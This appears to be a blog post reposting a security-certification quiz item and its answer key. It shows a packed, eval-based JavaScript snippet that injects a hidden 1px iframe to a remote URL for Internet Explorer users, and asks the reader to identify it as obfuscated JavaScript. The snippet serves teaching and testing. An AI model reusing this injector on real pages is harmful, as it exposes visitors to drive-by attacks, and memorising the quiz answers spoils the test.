• Post author:
  • Post category:Blog
  • Reading time:2 mins read
  • Post last modified:June 12, 2024

Which option best describes the code that is shown here?

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
< /script>
  • obfuscated JavaScript
  • normal JavaScript
  • Unicode-encoded script
  • Punycode-encoded script
Explanation & Hint:

The code shown here is an example of “obfuscated JavaScript.”

Obfuscation in JavaScript involves making the code difficult to understand or read, often to hide its true purpose or to prevent it from being easily analyzed or reverse-engineered. This is typically done for various reasons, such as protecting intellectual property, reducing the size of the code, or, in malicious cases, hiding harmful or exploitative functions.

The given script uses a complex and convoluted function along with a series of encoded strings and variables, which is a common technique in obfuscation. This is distinctly different from normal, readable JavaScript, which would be structured for clarity and maintainability. It is also not Unicode-encoded or Punycode-encoded script, both of which are encoding methods for representing characters, not for obfuscating code.

For more Questions and Answers:

Threat Analysis Post-Assessment | CBROPS

Subscribe
Notify of
guest
0 Comments
Newest
Oldest Most Voted
Inline Feedbacks
View all comments